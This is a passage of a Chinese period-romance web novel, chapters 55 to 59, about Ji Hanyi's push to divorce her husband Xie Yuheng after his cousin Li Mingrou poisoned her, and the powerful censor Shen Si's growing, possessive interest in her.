这一刻当真是有些冷的。
她曾经那般依赖的人,她曾经觉得她能依靠一生的人,自己在他心里原是如此不堪。
季含漪推开谢玉恒紧握住她手腕的手,她声音冷冷清清的:“大爷,你觉得我在谢府,就这么大的本事么?”
谢玉恒的眼神一僵。
季含漪走过谢玉恒的身边,低低开口:“大爷,你从来都是一言堂,一竿子定下你觉得的罪过,但却不容我辩解,你觉得你是大理寺寺正,你可以断案,你可以断真假断对错。”
“但即便是断案也要讲究证据的,不是你觉得我有罪,我便有罪。”
“不是你看了一个囫囵,便定下我有错。”
“你不是一个好夫君,若你断案也是如此,那你也不是一个好官。”
“我更不是你堂下的罪人,需要跪在堂前被你定罪处置。”
第55章 他又误会了她
季含漪从谢玉恒身边走过去的时候,谢玉恒依旧失神的站在原地。
直到那股暖香离去,他后知后觉的回头看她,心里头升腾起难忍复杂的情绪来。
他以为是季含漪为了与他和离,又故意来针对李明清的。
院门口的婆子是听到对话的,忍不住过来对着谢玉恒小声道:“大爷冤枉少夫人了,明公子是上午一来就跪在这儿的,那时候少夫人还在与老太太说话呢。”
“少夫人中了那毒,养了三日才好,今日刚养好就来瞧老太太了,可一句没提明公子的事情。”
谢玉恒的脸上一僵。
他才想起来,季含漪也是中了毒的。
听说那**虫的毒性厉害,听说她前两日还疼的下不来床。
这三日他本该陪在她身边,可他那晚走后,就再也没有回去过。
他在逃避季含漪,更害怕见她。
思绪深处不由更深,他想季含漪这么坚决的想要与自己和离,是不是也是因为……
他没来得及想下去,身前忽然传来李明清哽咽的声音:“表哥,救救姐姐吧,别赶我姐姐走。”
李明清刚才还倔强的眼神,只有在见到了谢玉恒的时候眼眶泛起了红,还用袖子擦了擦泪。
谢玉恒低头看着李明清问:“谁告诉你这事的?”
李眀清哽咽:"是姐姐院子里的婆子让人给我传信的。"
谢玉恒深吸口气,当真是越来越乱了。
他脸色严肃的问:“老太太见你了?”
李明清一听到谢玉恒提起老太太,眼里便闪过一丝恨意,接着又道:“老太太不肯见我,她不放了我姐姐,我便一直在这儿跪着。”
谢玉恒闭了闭眼,终于是忍不下去,怒声道:“胡闹!”
“你还不赶紧起来,回学堂去。”
李明清眼里含泪:“那姐姐怎么办?”
“他们要赶姐姐走,谢哥哥不是最喜欢姐姐么,谢哥哥为什么不帮我姐姐?”
旁边婆子听着这话,越听越是脸上难看。
这孩子也不知道在学堂里读的什么书,怎么就这么口无遮拦。
喜欢这话是能随意说的?
再有,这话听着理直气壮的,现在瞧着,谢家收养这两姐弟,像是收养了两个仇家来的。
那表姑娘谋害的可是谢府的大少奶奶,这可是天大的事,说放了就放了不成。
如今她看来,老太太当真也做的没错,犯了这么大的错,竟然还没有半点悔过。
谢玉恒的脸上也有些难看,虽说他从前对李眀柔是有些暧昧的态度,但也是在规矩礼仪之中,李明清这么直白的说出来,就像是在赤裸裸的打他的脸。
从前谢玉恒觉得自己应该是喜欢李眀柔的,小时候对她的照顾和怜爱也已经成了习惯,但季含漪说和离的时候,他的心全空了,他方明白,她对李眀柔的喜欢,或许算不得情。
谢玉恒一伸手就拉着李明清起来,对他说话的声音少见的冷清严肃:“你跪在这里威胁老太太?”
“你有没有脑子?这里可是老太太的院子,不是外头随意一个地头让你跪的。”
“赶紧回学堂去,这件事与你没关系。”
李明清被谢玉恒一拽,踉踉跄跄站起来,却擦着眼泪倔强道:“救不出姐姐,我便不去学堂了。”
旁边婆子不由冷笑。
又不是谢家的小辈,不去学堂又能威胁了谁?到底是年纪小,气性大啊。
谢玉恒深吸一口气,气得直接拽着李明清,让婆子进去传话,说带着李明清进去赔罪。
可隔了会儿传话的人又出来说老太太歇息了,不方便见。
谢玉恒已经明白了,李明清这是惹恼了老太太,不愿见了。
他也没想到李明清行事居然这么冲动,不由又拽着他往回头路走。
那头李眀柔还在院子里苦苦等着消息,在听到丫头偷偷带回来的消息说老太太始终没见自己弟弟的时候,身体就软的在院门口就滑落下去了。
她后背全是鞭上,撑着一口气在院门口守着,却是这个结局。
张嬷嬷赶紧来扶住李眀柔,低声道:“姑娘,您身上有伤,先进屋。”
李眀柔哭着被张嬷嬷扶着进了屋子,张口便低低骂了谢老太太几句。
她这些年日日去
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谢老太太跟前殷勤,还花了重金给谢老太太做了一个**佛,如今谢老太太竟然对她这么不讲情面。
张嬷嬷赶紧捂住李眀柔的唇,低声道:“姑娘,这话可别乱说,这要被传了出去,事情可就大了,外头可还守着老太太的人。”
李眀柔一行泪从眼角滑落下来,哽咽的看向张嬷嬷:“嬷嬷,可我现在怎么办?”
“出了谢府,便没靠山了。”
“往后我能去哪儿?难不成我就随意就找人嫁了么?那些叔伯盯着我嫁妆,我就算要嫁人也得靠着他们做长辈,我不甘心……”
“我还喜欢表哥,我只愿嫁给表哥啊……”
张嬷嬷见状赶紧哄着李眀柔,又弯腰低低在李眀柔的耳边说了一句话。
李眀柔呆呆的抬眸看向张嬷嬷:“这……”
张嬷嬷对上李眀柔的视线,低声道:“我能瞧出来,大爷看姑娘的眼里是有情的,往后这谢府迟早要交到大爷手上,姑娘何不赌一把?”
李眀柔擦着眼泪道:“只要能与谢哥哥在一起……”
她自小最喜欢的就是表哥,唯有表哥照顾她,疼惜她,为她在谢家挡风避雨,她什么都不求,她唯一只要表哥。
张嬷嬷看李眀柔哭的这么伤心,叹息一声,将李眀柔抱进了怀里。
她也是没想到,季含漪居然能在沈家没事,反被沈家人救了。
如今这个局面,想要破局也实在没有好的法子了。
季含漪回去后,坐在炭火前,依旧提笔画画。
这幅画她画了大半月,如今总算快要画完了。
容春在一旁为季含漪磨墨,看了看季含漪安静绘画的神情,终于忍不住开口:“我终于明白少夫人为什么一定要和大爷和离了。”
“大爷总这么不分青红皂白的将所有错事往少夫人身上推,我当真不明白为什么的。”
季含漪轻轻落笔,给了容春答案:“因为人总是喜欢相信自己愿意相信的。”
“他的心偏向哪一方,他就信任哪一方,即便那一方漏洞百出,他还是会说服自己去信的。”
容春恍然大悟,明白过来。
第56章 她愿成全他与李明柔
李明清那头的动静季含漪没有空闲去打听,但因为李眀清跪在老太太院门口高声的那一喊一闹,本只还只有大房知晓的事情,现在二房三方也都知晓了。
二房三房一知晓,说的人多了,底下传这件事的也多了,整个府里也传开了。
季含漪扶着谢老太太去梅花园逛园子的时候,谢老太太叹息:“我本来是想将这丑事掩盖过去,虽说是要将李眀柔赶出去,但对外也是说谢家养她至及笄,她自离去嫁人,往后她如何,谢家不管了就是,我也没狠心做到那份上,说非要毁了她的名声。”
“但她那弟弟非得来我那儿喊叫,现在人尽皆知了,他以为闹大了外人会传我不慈狠心,却不知我身为谢家老太太,这些年什么风浪人情没见过?是他一个乳臭未干的毛头小子能拿捏住的?”
“便是我哪天一发怒,让他姨母去祠堂跪着都没人敢说个什么。”
“如今闹将出来,谢家也更有理由将她赶出去了,也全是他们自作自受。”
季含漪默默弯腰为谢老太太垫上暖垫,扶着老太太坐在廊亭边。
谢老太太坐下后,又笑着看向季含漪:“含漪,你心里畅快了么?”
季含漪抬眸看向老太太,认认真真的摇头。
她一向不欺瞒老太太什么,说的也全是真心真意的话:"孙媳心里也不是畅快,只是觉得如今成了这个地步,是谁都不想见的。"
谢老太太一顿,又叹息:"是啊,"
“谁不想院子里风平浪静呢,偏偏有些人总要作妖。”
说着谢老太太又问季含漪:“恒哥儿可还来找过你了?”
季含漪依旧摇头:“上回与大爷在老太太院门口碰见一回,便再没见了。”
“听说大爷将明清送回了学院,前院也没传大爷回来过,许年底正忙。”
“还有七八日便要过年了,大爷应该还有许多事情。”
谢老太太便握紧季含漪的手:“难为你这般体谅他。”
“这些年恒哥儿对你如何,我其实也知道些,但你从未在外头说过他一句不好,也未在我面前说过他一句不好,当真是难为你这般顾着他。”
“他其实昨夜回来过一回,去了我那儿,他说这回的事情的确是李眀柔咎由自取,但他求我,求我给李眀柔做主一门亲事,远远的将她嫁出去,往后没有干系。"
说着谢老太太低低看着季含漪的神色:“含漪,我想问问你的意思。”
对于谢玉恒这样的决定,季含漪其实是有些诧异的。
谢玉恒这般偏袒李眀柔,竟舍得将李眀柔远远的嫁出去么。
谢老太太的声音又在耳边响起:“真要我做主给她指门亲事,我的意思是按着恒哥儿的意思也好,嫁去我老家的乡下去,离京两千多里呢,她这辈子都别想回京。"
“她要不愿,那就自己离开,谢家不管了便是。”
季含漪看向谢老太太:“将李眀柔嫁那么远,大爷真的愿意么?”
谢老太太笑了笑:“他有什么不愿意的,这就是他提的。”
季含漪侧头看向湖面,她当真是不明白,谢玉恒心里究竟在想什么了。
她想不明白谢玉恒的意思,但她听明白了谢老太太的意思,依旧觉得她与谢玉恒还有可能。
缓缓的呵出一口白气,季含漪心里积压了许多话,她想,这些话终究要说出来的。
她又看向谢老太太:“我嫁给大爷三年,并不怨怪大爷什么,当初是我自己拿着婚书来的,其实那时候我便该想明白大爷不愿娶我。”
“这三年,我其实能感觉到大爷对我没有喜欢。”
说着季含漪轻轻抿唇垂眸:“我并不是要与老太太诉说委屈,只是如今我有心和离,我与大爷强在一起,大爷心悦之人远在千里,日积月累,往后怕是愈加两看生厌。”
说罢,季含漪起身对着谢老太太深鞠行万福:“还请老太太成全了含漪吧。”
“和离后,即便将来大爷想要娶李明柔,我也不会有说辞的。”
谢老太太目色悲凉的看着季含漪,她觉得这孩子当真是太懂事了。
没有一句怨怪,没有一句说谢家不好的,更没有一句不满。
这般好的孙媳,又上哪儿找去。
林氏那眼界小的,还不知足,日日为难人,居然还吵着要纳妾。
湖对面谢玉恒远远就见着季含漪站在谢老太太面前低头福礼,他见状心里就是一紧,赶紧大步走过来,一来便朝着季含漪冷声问:“你又在做什么?”
“我都应了将明柔远远嫁出去,你就非要明柔孤苦无依是不是?”
谢老太太听了这话眉头紧皱,连忙将季含漪拉到身边来,心里头对谢玉恒这番表现也是失望透顶。
不怪含漪总想着和离,这心都偏到天边去了。
她呵斥道:“你来胡说什么?”
谢玉恒一愣,朝着谢老太太道:“难道不是么,她从前便处处针对明柔,这回更得了理不放过明柔了。”
谢老太太气得抬手指着谢玉恒,声音都快气得喘不上来:“哪回你又亲眼看见过了?!”
“哪回不是那李眀柔说什么你就信什么?”
“你当我没听过那些事?这些年含漪受了多少委屈,他可不曾说过你一句不好!”
“刚才含漪听说要将你那喜欢的表妹远嫁出去,她在求我成全你们!”
谢玉恒一怔。
他侧头看向始终不发一言的季含漪,她的眸子低垂,至始至终也不曾看过他一眼。
谢老太太看谢玉恒就看着季含漪不说话,更是气恼的不行:“恒哥儿,你不喜含漪,可含漪又有什么错?”
“你一来就这般说她,她伤不伤心?你昨夜还与我口口声声说不想与含漪和离,可你看看你刚才说的话,这就是你不想和离的态度么?!”
谢玉恒往后退了一步。
季含漪侧身为谢老太太顺背,又轻声细语道:“老太太一心为着我们好,大爷也明白的。”
说着季含漪的眸子看了谢玉恒一眼:“我知晓大爷担心明柔,不愿她受苦,这会儿正好在这儿,便说开吧。”
“我愿和离的,也没有非要为难李明柔的心思,也请大爷在老太太跟前答应了和离吧。”
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“往后我与大爷之间便当不识,若人问起,我亦只说谢家的好,妨碍不了大爷的。”
说着季含漪站起身,对着谢玉恒也福了一礼:“含漪自知三年无子是大过,不配留在谢家,不是谢家的错,也不是大爷的错。”
“我们和离也是欢喜的结局。”
谢老太太听了这番话,眼里冒出了泪光来:“含漪,傻孩子……”
谢玉恒怔怔看着站在他面前垂眸福礼的人,她一如既往的在他面前安静柔顺,就连她口中说出来的话,也没有一丝一毫的责怪不甘。
她好似从来都是如此,就如刚才他误会了她,她脸上好似也没有难过的情绪。
好似她早已**以为常,好似她早就不再在乎。
她现在还心平气和,姿态温婉的大度成全他与另外一个女子。
她从前狭隘处处针对明柔,如今她大度的将他拱手相让,让他几乎浑身没了力气。
那股将要失去一切的痛再一次席卷了全身。
他不明白这一刻为什么会这般疼。
昨夜明明他在老太太那儿已经下了决定,决定将李眀柔远远的嫁出去,他甚至可以永远都不再见明柔了,为什么她还是要和离。
为什么。
他今日本是想将这个决定亲口告诉她的。
他甚至已经在想她听到这个消息时她的反应。
他想,他终于是为她做主了一次,在李眀柔与她之间,他也没有再偏袒。
她知晓她中了毒,受了苦,他也要为她讨回一点公道的。
他想,季含漪或许会高兴的。
两人还能好起来的。
往后他唯有她,他与他也能举案齐眉的过一生。
只是他从没想过,她会是这样的反应。
谢玉恒红了眼眶,眼睛紧紧盯着季含漪那张低垂的脸庞,白净又贞静,这些日这张脸总是出现在他梦里,总是出现在他眼前。
在将要失去她的时候,他才明白过来,失去后会疼的,那才是情。
即便在知晓李眀柔要被祖母赶出去后,他那一刻也不是慌张和害怕,他只是担忧李明柔往后的路。
失去李眀柔,并没有失去季含漪来的更叫他难受。
谢玉恒摇头,他往后退了一步,声音艰涩:“我不答应。”
“等祖母的寿辰过去,我就将明柔远远嫁出去,她再不会来了,那时候我们好好过日子。”
“我对她没有爱慕,只有年少照顾她的情谊,你……”
“你……”
谢玉恒闭上眼睛,第一回对季含漪说了这么多的话,他又开口:“从前是我对不住你,往后再不会了。”
谢玉恒说完,不给季含漪反应便转身仓皇的离开。
那不是别的,是他不敢再留下一刻,仿佛再留下来,就将会完完全全失去她。
季含漪抬头看着谢玉恒的背影,她想,若是谢玉恒早些与她说这些话,她心里还能为他空出一块地方,慢慢接受他。
只是早就晚了。
微风吹拂她发丝,她怅怅的想,其实从前也幻想过谢玉恒与她说这些话的,原来真的听到后,也没有半点喜悦。
第57章 再遇沈肆
沈肆再见到谢玉恒的时候,依旧在都察院退思堂里。
这回遇见,他整个人与从前规整又清贵的模样大相径庭。
谢家是清贵世家,祖上出过大学士,家中长辈也进士出身,谢玉恒这一辈里,小辈也算刻苦,不似京城有些少爷放肆,谢家家风还算是好。
只是谢家到了谢玉恒头上风气却歪了。
与一个表妹暧昧不清,倒是叫他开了眼界。
又想起他被下的那药来,沈肆靠着椅背,略嘲讽的目光看着身形颓然的谢玉恒,现在看来也是他应有的结局。
他没将这件事在谢家捅出来,倒是想让谢玉恒再多吃点。
又淡淡看了谢玉恒一眼,才让他他拿着重新核查了的案卷过来。
再过两天就过年了,谢玉恒这是拖到不能拖了才总算来了。
身边人去将案卷接过来,沈肆未看卷宗,凤眼微斜,看着站在自己面前似乎有些摇摇欲坠的人,那下巴上的青色胡渣都生了一层,这位如玉公子,似乎连仪容都没空修整了。
他挑眉:“看来谢寺正为核对案宗倒是呕心沥血。”
谢玉恒微微一凝,也是听出了这话里的一丝嘲讽,忙强打起力气回话道:“大人谬赞,不过下官分内之事。”
也不知是不是谢玉恒自己的错觉,他总觉得沈侯爷看他的眼神像是对他极为不喜的,可他在心里想了许久,也没有想出自己从前与沈侯爷有过什么过节。
沈肆又看了谢玉恒两眼,视线重新回到卷宗上。
剩下的案子不多,但沈肆看得细致,还时不时过问谢玉恒两句,谢玉恒也不得不时刻强打着精神。
这一站就站了大半上午。
他这几日深夜几乎睡不着,为着季含漪,连明柔都不曾去看过一眼,他想不明白,更放不下,这会儿站了这么久,已经有些摇摇欲坠了。
被挑出来的差错便有四五处,谢玉恒听着那斥责的话,却浑身都是麻木和浑浑噩噩的。
连站在沈肆身后的副官都对谢玉恒捏了把汗,都御史大人虽然脾气是真不怎么好,严谨出了名的,但被都御使大人这般呵斥的人可不多,大抵那案宗当真是有些地方没核查好。
这呵斥可不是小事,都御史是皇上身边的人,直达天听,这要说到他大理寺的堂官那里,或是说到皇上面前,说他谢玉恒一个失责,这官路怕是都走的艰难。
可是他看谢玉恒那木然的模样,却跟个没事人似的。
也不知道是不是被骂傻了。
最后沈肆让谢玉恒拿回卷宗整理好了再去呈到皇上面前。
谢玉恒直到手上重新将他整理好的案卷接过来,好似才终于意识到自己在哪里。
他抬头想要解释案卷出错的事情,又见都御使大人脸上冷漠的神情,所有辩解的话都堵在了嗓子眼。
他这才感觉到一股心慌来。
又被堂内的人往外头请,他才浑浑噩噩的往外走。
冷风吹来,他打了个寒战,心里头又对沈肆生了不满,那些零星小错,他更觉得是在故意挑他的刺。
可他能说什么,咬咬牙还只能忍着,手上捏紧卷宗,又不甘心的走了。
沈肆靠在椅背上,看着谢玉恒的背影,又看了眼角落处站着的手下。
手下心领神会,跟在谢玉恒的身后。
到了中午的时候,手下打听来的消息很快就带到了沈肆的耳边。
原这几日谢玉恒都没往谢府里回,日日留在值房里的。
那手下说着,又微微弯腰低声道:“听说谢寺正昨日夜里还喝的酩酊大醉,像是为着内院的事情烦心。”
沈肆手掌间不紧不慢的捏着手上的菩提子,眼神看着透进光线的窗上,眼眸眯起,声音里难得带了些懒散:“哦?内院?”
都察院京城的眼线不少,东司房,兵马司,街道房,锦衣卫里处处都安插了人,要打听谢玉恒那点事情,真要细心去打探,也容易的很。
更何况都察院还养了好些书吏皂吏,处处有打探窝点,在京城密密麻麻的织成了一张密不透风的网,不然怎么监察百官。
那手下讲的事无巨细:“谢寺正平日里不饮酒的,昨夜像是醉的不行,醉了说了好些胡话,像是他家夫人与他闹了什么不愉快的,醉了还喊着他夫人名字,旁人也没听清具体说了什么,这事今早大理寺的都传谢寺正对夫人是一往情深呢。”
沈肆听罢这话,清峭眉眼里淡了一层,再化为一道嗤笑。
手下看着沈肆神色,又道:“不过探子打听来的消息又说谢寺正之所以这般消沉,好似是他夫人正与他闹和离。”
“这事还是谢寺正去找好友出主意的时候打听到的。”
沈肆一顿。
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季含漪下午抱着画去抱山楼的时候,没成想却在章先生那里见到了沈肆坐在屋内。
在她进来的那一刻,那双清贵的眸子上抬,正与她的对上,看得季含漪心里头微微一紧。
他静**在上座,章先生正拿着一卷卷画在沈肆面前展开,姿态卑微恭敬,声音里全是谄媚。
从前在季含漪眼中有些风骨与才华的章先生,不知为何,这一刻在季含漪的眼中有些失了原本的模样了。
但这也不过是寻常,谁在沈肆那身冷淡贵气的压迫下能坦然不慌的?
她想着自己来的不是时候,本是想悄无声息的退下去的,可章先生见着了她,连忙笑着喊道:“夫人来了,快来。”
又朝着沈肆殷勤道:“侯爷从前最喜欢的画,石……”
他话说一半,就看到沈肆淡淡瞟过来的眼神,一刹那后面的话已经戛然而已。
那眼神明明什么神色都没有,但章先生就是明白,自己不该再说下去了。
他悻悻的闭了嘴,又听沈肆惯常冷清没有情绪的声音:“章先生先忙,我等等便是。”
不快不慢的声音,叫章先生一时不知道该怎么办,又赶紧点头,放下手上的画,再往季
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含漪的面前过去。
他接过季含漪手上的画拿去放在桌上,又回头去抽屉里拿了一袋银子来,过来季含漪身边道:“这一月有些忙,还没来得及让人将银子送去府上。”
说着他将银子放到季含漪手边:“上回那画拍了九百两,这里是五百六十两,夫人点一点。”
季含漪头上带着帷帽,章先生也没直接点出季含漪的身份。
毕竟是妇人,还是嫁入谢家这样的门第的,自己出来卖画,不管怎么说,都有些不好听。
季含漪收了银子,也没打算点,这两年她是信任章先生的,朝着章先生轻声道:“麻烦先生了。”
章先生摇头:“又有什么麻烦的,我还怕你不送来呢。”
又问了句:“怎么这回不到一月就送画来了?手上缺银子了?”
章先生这么问,也是有缘由。
当初他找季含漪时,也是季含漪最缺银子的时候,她母亲的药都是贵重的药材才能续上,那一回季含漪还找他先支了一点银子。
从前季含漪都是两三月来一趟,这回才不到一月,章先生便关心的问一问,又压低声音道:“夫人要是缺银子,我这会儿可以再给夫人支一些的。”
若季含漪与沈肆如同陌路,并不相识,季含漪倒没觉得什么,可偏偏她所有窘迫都袒露在了沈肆的面前,叫她心生出一股难堪来。
明白章先生是照顾她,当初也是章先生为她找买铺子,她是感激的。
她只摇头道:“手上不缺的,只是马上临着年节,院子里事情多起来,怕没空闲了。”
章先生就理解的点点头,又朝着季含漪低声笑道:“夫人要缺银子,就多画几副来。”
说着他朝着季含漪偷偷比了个手势,意思是她的画多的是人要,再多也有人要。
季含漪没看明白章先生的手势,不解的问:“先生何意思?”
章先生挤眉弄眼一阵看季含漪没看明白,叹息一声,没看明白就算了。
毕竟位高权重,财大气粗专收藏石澜先生的画的正主就在身后呢,总不能当着人的面说使劲画,反正人家也不缺银子这样的话出来。
那他也别想在这儿呆了。
章先生要送季含漪先走,季含漪却稍犹豫的看向了一直坐在上位的沈肆身上。
上回他帮了她,她总不能这回撞见又当作不认识的直接离开。
沈肆的姿态雅致,高华面容上依旧是那一派生人勿近的神色,他视线落在案上画卷上,也并没有看她。
季含漪心里紧了又紧,还是与章先生低低说了一句话,大着胆子往沈肆那头走了好几步。
当沈肆眸子上抬往她看来的时候,季含漪就顿住不敢往前走了。
沈肆挑眉,目光冷冷清清看在季含漪离他半丈多远的地方停住,像是他是她眼里什么洪水猛兽一般。
上回眼眸通红,泪盈盈看着他,求他帮忙的时候,可不是这般生怕与他沾染上关系的姿态的。
第58章 我听说,谢夫人要和离
这话问得季含漪哑了哑。
缺也是真缺的。
从前她从不为银子烦忧过,但如今她方明白,有了银子可以做许多事情,有了银子也可以过有底气的日子,还可以让母亲的病更好起来。
原来任何事情,离开了银子都是不行的。
但她摇头,不想再露出更多的窘迫在他面前:“也不怎么缺的。”
其实也的确不太缺,如今她手上的银钱也已经够用,金陵那头也来了信,说宅子正在打理着,她也不用重新置办宅院,省吃俭用的,去那头好好经营家书画铺子,再卖些书画,应该也够了。
沈肆看了眼季含漪脸上的神色,垂着眸子不敢看他,又看她站得很是规矩,一如她小时候稍大一点的时候,规规矩矩的站在他面前,两手拢在身前那般娇小生涩又故作老成的样子。
桌面上落了一角她丁香色的宽袖,依稀可看到她白嫩的指尖,捏紧捏在袖口边缘。
沈肆看了看,又抬起眼帘看季含漪垂着的脸庞,依旧是娇气的一张脸,仿佛未识人间疾苦,莹白如玉,眉眼澈澈。
指尖静静打在桌面上,他又问:“谢家处置了害你的人了么。”
季含漪忙点头:“处置了。”
说着季含漪又感激的朝着沈肆福身:“上回多亏了沈大人帮忙,不然大抵也没这么快的。”
说罢,她有些紧张的看向沈肆:“只是不知怎么感激。”
沈肆的指尖一顿,寂静眸子抬眼看着季含漪:“谢夫人想怎么感激。”
季含漪怔了怔,想沈肆对她的帮忙也是大忙,便将刚才章先生给她的钱袋子伸手呈到沈肆面前,小声道:“手头上暂时只有这些了,还请沈大人勿觉得礼小。”
季含漪是真觉得即便这些银子也不足够感激沈肆的,但她身上再也没有比银子还更贵重的东西了。
她知晓沈肆不缺这个,但她现在唯一能拿出来的东西,也只有这点银子了。
沈肆静静看着季含漪双手捧到自己面前的钱袋子,看了半晌。
这迟钝的性子,这么多年,好似也依旧没什么长进。
他忽然很知晓,她这样的性子,是怎么在谢家过的,谢玉恒对他身边那表妹不一般,她是怎么忍受下这些委屈的。
谢玉恒为她做主了么,舍得惩治那表姑娘了么。
是不是依旧受了委屈,所以她才想与谢玉恒和离的。
沈肆一寸寸抬头,看着她局促又紧张的神情,烟眸里如有云雨,旖旎的漫开一副画卷。
他良久开口:“我不需这东西。”
悬在半空的手指捏了捏紧手上的荷包,又收了回去,这一刻的季含漪是有些难堪的。
她如今能拿出的最贵重的东西,在沈肆眼里一样微不足道。
她知晓沈肆根本不在乎,甚至这点微末的银子在他眼里又算什么?
只是她再拿不出别的东西来了。
他端坐在上位,她站在他身前,他逼人又冷淡的目光带着让她心慌的审视,让她觉得自己在他面前体无完肤,赤身裸体。
忽然这一刻,她想逃离。
或许是仓皇的逃离。
收回去的指尖发颤,她努力镇定自己的情绪,让自己看起来仿佛没那么难堪。
她低头愧疚的坦诚:“我再没别的东西可给沈大人了。”
沈肆缓缓对上季含漪的视线,细眉如月,垂眸的那一幕,如月染秋华。
沉闷的微光从窗外透进来,落在她秀白姣好的身形上,尘烟勾勒出她起伏的曲线,在细腰处辗转碾磨。
横在两人之间的那张长案是越不过去墙垣,他忽然不愿与她这般远远隔着。
不愿一遍遍在梦里描摹关于她的一切,连他自己都厌恶这样的自己。
他本可以永远将她隔绝在自己的世界以外,永远不让她触及自己阴翳的领地,她如纯澈的晨露,将自己奉为威严的长辈,若是叫她知晓自己心里对她的占有与那些旖旎的思绪,她怕是永远都不敢再接近他。
只是她主动闯入他的领地后,关于她的事情就如潮水涌过来,无孔不入的涌进。
更让他知晓她夫君不过一个朝三暮四又毫无能力的平庸之辈,如何配得到她。
让他愈加想要见他,愈加想要得到她。
而她也不是没有东西给他。
他想要的东西,也只在她身上。
沈肆目光从季含漪的身上缓缓坠落,带着晦涩的沉暗与波澜,他低沉的开口:“谢夫人,为我斟杯茶吧。”
“当作你的谢礼”
季含漪怔了怔,她千想万想,唯一没想到沈肆会提这么简单的要求。
但她松了口气。
虽然明白沈肆大抵并不是要她什么感激,但至少她还能做一些什么。
那翠云玉壶就放在沈肆的手边,这茶具季含漪认得,这么多年他依旧用这套茶具,居然不管去哪也都带着。
也是,他向来洁净,也会去用别人的茶具。
只是这会儿她不能隔着长案去拿,就小步挪到沈肆的身边,从煮着的小炉上拿起温着的茶壶,为沈肆斟茶。
她的动作细致,努力不挨沈肆太近,又站在没有离他太远的地方。
沈肆眼眸扫过季含漪细白的手指,又扫过她认真斟茶的脸庞,忽然问:“你夫君对你如何。”
季含漪顿下动作,看向沈肆,见着沈肆黑眸正看她,她犹豫一下小声道:“还……还好的……”
说着季含漪将斟好的茶盏很是恭敬的双手送到沈肆的面前,沈肆帮了她的大忙,她敬重又感激,不敢有一丝不妥当。
因她明白,沈肆全然可以不帮她的,那天也全然可以当作没看到他。
他帮了自己。
而自己无以为报。
沈肆看着季含漪送来的茶盏,她微微低着头,耳边的耳坠跟着坠落,她靠近过来的软香叫他喉间微微一滚,唇边却浮了个淡淡讽刺的弧度。
谢玉恒那般对她,她依旧觉得还好。
又抬眼看她不敢看
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自己的模样,他眼里晦涩如深,今日特意过来只为见她一眼,偏偏从她口中听不到半分真话。
亦或是她说的是真话,她当真觉得在谢家过得很好。
他又想要从一个已婚之妇的身上期待什么。
伸手从季含漪的手中接过茶盏,他微凉的指尖掠过她袖口,身体再度为她紧绷起来,沈肆未再看她,低低道:“我听说,你与你夫君打算和离。”
沈肆的话落下时,放在桌案边上的一卷画卷忽然落地,季含漪忙慌里慌张的弯腰去捡,又将散开的画卷好好卷起来。
沈肆静静看着季含漪的动作,沉静的凤眸掠过季含漪弯腰时更显丰满的胸脯与腰肢,又落在她微微慌乱的脸庞上。
白净的脸庞上带了一丝红晕,他生了股热意。
季含漪将画卷卷好又好好的放起来,她才看向他,声音有着试探的小心翼翼:“沈大人……为什么会这样说……”
审视的目光看着季含漪的神情,沈肆漫不经心的将手上的茶盏放在一边,又淡淡道:“他这几日留在值房,今日他来都察院魂不守舍,我听人提起过一句。”
季含漪怔了怔,这些日子谢玉恒的确再也没又回府过,难不成外头的人也知晓了她要和离了么。
沈肆眸子深深看着季含漪:“谢夫人,你还没回我的问题。”
季含漪失神的视线这才又回到沈肆身上。
她怔了片刻,也知道她与谢玉恒早晚要和离的,不承认也没有意义。
只是在沈肆面前,她下意识的不愿承认。
小时候她便仰望他,如今他依旧如月高悬,位高权重,而她却是和夫君不和的,一个和离的妇人。
越发天壤之别。
她连让夫君喜欢都做不到。
手指情不自禁的捏紧袖口,季含漪有些敷衍的嗯了一声,说了句是是而非的话:“也大抵是……”
沈肆挑眉。
她这句大抵是又是什么意思?
难道她还想要守着那平庸又三心二意的夫君?
季含漪觉得在沈肆面前说这个有些难堪,她又有些匆忙的福礼道:“我这会儿还要回顾家一趟,丫头还在等着我,沈大人,我要先走了。”
季含漪难得的没有去看沈肆的脸色,或等他说完,她这会儿只想要赶紧走。
赶紧离开这难堪的时候。
只是身形才一转,手腕处忽然传来一股力道拽来,季含漪的身子不由往后退了退,在慌乱回头的时候,自己的身子已经站在沈肆的身前,两人连衣衫都挨在了一起,而她正站在他的两腿之间。
她忙想往后退,手腕上的力道却又拽紧,她怔然低头看着拽着她手腕上的手掌,又怔怔看向正抬眸往她看来的沈肆的眸子。
那双眸子暗如深潭,她脑中一片空白。
沈肆狭长的凤眸里什么神情都看不出来,冷淡里又带着一丝他历来的严正与疏离,又慢条斯理的松了手:“谢夫人刚才说的大抵是什么意思。”
第59章 想要伸手碰她
季含漪哑然,她没想到沈肆拉住她问她的,居然是这个。
从来对万事都好似没有兴致的人,为什么会在意这个……
沈肆又看了季含漪一眼:“谢玉恒近来案宗屡屡出错,我需要知晓些原因,对于他这回纠察刑部强盗卷宗的作为,才好做出判断。”
季含漪不懂这些,但沈肆这般说来,也一定是有他的道理的,他这般严谨忙碌的人,她也想不出别的原因来解释。
她张张唇,自己虽然难以启齿,但她与谢玉恒早晚要和离也是事实。
又紧了紧指尖,季含漪才终于开口:“是有这回事。”
沈肆看着季含漪被咬出印子的嫣红唇瓣,饱满里染上一层薄薄的水色。
他的心里忽然就跳动了几分,连带着身上也热了。
衣袍处能感受她身上传递过来的柔软温度,他长长吐出一口气,指尖微动,想要这一刻就伸手碰她。
他唯知晓,她就要和离了。
体内开始沸腾的热流愈加难以克制,在沈肆又抬眸间,又见着季含漪在慌乱的后退,他看着她脸上有些难堪微红的神色,眼中雾色弥漫,声音轻颤,耳坠乱晃:“沈大人,我……我要走了。”
沈肆伸到半空的手,连一片裙摆也没有触碰到。
他看着季含漪背影,丁香色裙摆蹁跹,上头的吉纹随着她小而规整的步伐起伏,些微凌乱的步子还是透出她几许凌乱的步子。
直到那道木门打开,吱呀声响起,沈肆闭上眼睛仰靠在椅上,身体依旧在沸腾回味刚才她靠近的那一刻。
放在膝盖上的手指都不可控制的动了动,指尖好似还留着那股馨香的温度。
季含漪一直到出去后,心里头都还在噗噗直跳。
沈肆那双黑眸,她每看一眼,心里就会紧张一分。
特别是在刚才,两人那样近的距离……
又是那样稍显的暧昧的……
季含漪只觉得脸庞莫名其妙的发热,让自己赶紧打住胡思乱想。
站在楼下等着季含漪的容春见着季含漪步子有些快的从楼梯上下来,不由连忙过去迎。
她家主子平日里是个不疾不徐的性子的,尤其在意仪态与仪容,这般快的步子,平日里是很少见到的。
